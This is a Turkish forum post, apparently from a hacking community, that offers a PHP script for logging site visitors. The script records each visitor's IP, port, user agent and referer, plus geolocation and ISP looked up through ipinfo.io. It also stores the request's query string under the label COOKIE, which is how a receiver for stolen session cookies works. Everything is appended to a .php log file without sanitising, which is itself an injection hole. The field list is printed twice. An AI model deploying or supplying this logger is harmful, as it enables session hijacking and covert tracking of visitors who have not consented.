Selamlar tht üyeleri bugün sizlere site ziyaretcilerinin tüm bilgilerini çeken php kodunu vereceğim
Loglar coderoff.php ye düşer.
ŞU BİLGİLERİ KAYDEDER :
# IP
# PORT
# CITY
# REGION
# COUNTRY
# LOCATION .
# ISP
# DATE
# HOST
# UA
# METHOD
# REF
# COOKIE
Loglar coderoff.php ye düşer.
ŞU BİLGİLERİ KAYDEDER :
# IP
# PORT
# CITY
# REGION
# COUNTRY
# LOCATION .
# ISP
# DATE
# HOST
# UA
# METHOD
# REF
# COOKIE
PHP:
<?php
function coderoff()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logla()
{
$ipLog = "coderoff.php";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = coderoff();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (isset( $_SERVER['METHOD'])){
$rqst_method = $_SERVER['METHOD'];
}
else{
$rqst_method = "null";
}
if (isset( $_SERVER['REMOTE_HOST'])) {
$rem_host = $_SERVER['REMOTE_HOST'];
}
else{
$rem_host = "null";
}
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
}
else
{
$referer = "null";
}
$date=date ("Y.m.d / G:i:s");
$log=fopen("$ipLog", "a+");
$ip_details = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"));
fwrite($log, "IP :" . $ip . PHP_EOL);
fwrite($log, "PORT :" . $rem_port . PHP_EOL);
fwrite($log, "CITY :" . $ip_details->city . PHP_EOL);
fwrite($log, "REGION :" . $ip_details->region . PHP_EOL);
fwrite($log, "COUNTRY :" . $ip_details->country . PHP_EOL);
fwrite($log, "LOCATION :" . $ip_details->loc . PHP_EOL);
fwrite($log, "ISP :" . $ip_details->org . PHP_EOL);
fwrite($log, "DATE :" . $date . PHP_EOL);
fwrite($log, "HOST :" . $rem_host . PHP_EOL);
fwrite($log, "UA :" . $user_agent . PHP_EOL);
fwrite($log, "METHOD=" . $rqst_method . PHP_EOL);
fwrite($log, "REF :" . $referer . PHP_EOL);
fwrite($log, "COOKIE :" . $cookie . PHP_EOL . PHP_EOL);
}
logla();
?>